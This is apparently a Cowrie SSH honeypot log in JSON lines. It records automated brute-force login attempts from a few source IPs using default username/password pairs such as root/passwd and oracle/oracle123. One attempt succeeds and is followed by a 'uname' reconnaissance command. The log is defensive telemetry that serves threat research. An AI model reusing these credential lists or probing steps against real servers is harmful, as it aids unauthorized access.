{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:09.079794Z","src_ip":"5.196.136.131","session":"e6a779655aa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":51969,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d6c2bedaad6","protocol":"ssh","message":"New connection: 5.196.136.131:51969 (10.17.0.5:22) [session: 1d6c2bedaad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:12.121876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:12.126591Z","src_ip":"5.196.136.131","session":"1d6c2bedaad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:12.211815Z","src_ip":"5.196.136.131","session":"1d6c2bedaad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:12.474401Z","src_ip":"5.196.136.131","session":"1d6c2bedaad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:13.559646Z","src_ip":"5.196.136.131","session":"1d6c2bedaad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":15059,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b1c2f358d18","protocol":"ssh","message":"New connection: 5.196.136.131:15059 (10.17.0.5:22) [session: 5b1c2f358d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:16.481922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:16.484498Z","src_ip":"5.196.136.131","session":"5b1c2f358d18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:16.559635Z","src_ip":"5.196.136.131","session":"5b1c2f358d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:16.787799Z","src_ip":"5.196.136.131","session":"5b1c2f358d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:17.866555Z","src_ip":"5.196.136.131","session":"5b1c2f358d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.241.244.100","src_port":50824,"dst_ip":"10.17.0.5","dst_port":22,"session":"d713a8d1e16d","protocol":"ssh","message":"New connection: 150.241.244.100:50824 (10.17.0.5:22) [session: d713a8d1e16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:19.290283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:19.296549Z","src_ip":"150.241.244.100","session":"d713a8d1e16d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:19.479125Z","src_ip":"150.241.244.100","session":"d713a8d1e16d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2020!!","message":"login attempt [root/unitedstates2020!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:20.028045Z","src_ip":"150.241.244.100","session":"d713a8d1e16d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10331,"dst_ip":"10.17.0.5","dst_port":22,"session":"77f001bd6a28","protocol":"ssh","message":"New connection: 5.196.136.131:10331 (10.17.0.5:22) [session: 77f001bd6a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:20.903558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:20.907230Z","src_ip":"5.196.136.131","session":"77f001bd6a28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:20.984886Z","src_ip":"5.196.136.131","session":"77f001bd6a28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:21.212981Z","src_ip":"150.241.244.100","session":"d713a8d1e16d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:21.219043Z","src_ip":"5.196.136.131","session":"77f001bd6a28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:22.299378Z","src_ip":"5.196.136.131","session":"77f001bd6a28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":56703,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e547e156647","protocol":"ssh","message":"New connection: 5.196.136.131:56703 (10.17.0.5:22) [session: 8e547e156647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:25.319837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:25.323336Z","src_ip":"5.196.136.131","session":"8e547e156647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:25.398915Z","src_ip":"5.196.136.131","session":"8e547e156647","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:25.627340Z","src_ip":"5.196.136.131","session":"8e547e156647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:26.705765Z","src_ip":"5.196.136.131","session":"8e547e156647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31540,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f26cec69616","protocol":"ssh","message":"New connection: 5.196.136.131:31540 (10.17.0.5:22) [session: 7f26cec69616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:29.756514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:29.759953Z","src_ip":"5.196.136.131","session":"7f26cec69616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:29.834996Z","src_ip":"5.196.136.131","session":"7f26cec69616","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:30.065717Z","src_ip":"5.196.136.131","session":"7f26cec69616","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:30.301491Z","src_ip":"5.196.136.131","session":"7f26cec69616","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:30.304330Z","src_ip":"5.196.136.131","session":"7f26cec69616","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:30.383558Z","src_ip":"5.196.136.131","session":"7f26cec69616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:30.388092Z","src_ip":"5.196.136.131","session":"7f26cec69616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":11713,"dst_ip":"10.17.0.5","dst_port":22,"session":"639eb46d9a5c","protocol":"ssh","message":"New connection: 5.196.136.131:11713 (10.17.0.5:22) [session: 639eb46d9a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:34.142932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:34.146170Z","src_ip":"5.196.136.131","session":"639eb46d9a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:34.222094Z","src_ip":"5.196.136.131","session":"639eb46d9a5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:34.451952Z","src_ip":"5.196.136.131","session":"639eb46d9a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:35.531032Z","src_ip":"5.196.136.131","session":"639eb46d9a5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":27894,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f2b052dcdde","protocol":"ssh","message":"New connection: 5.196.136.131:27894 (10.17.0.5:22) [session: 4f2b052dcdde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:38.578655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:38.583266Z","src_ip":"5.196.136.131","session":"4f2b052dcdde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:38.657727Z","src_ip":"5.196.136.131","session":"4f2b052dcdde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:38.885292Z","src_ip":"5.196.136.131","session":"4f2b052dcdde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:39.963012Z","src_ip":"5.196.136.131","session":"4f2b052dcdde","protocol":"ssh"}
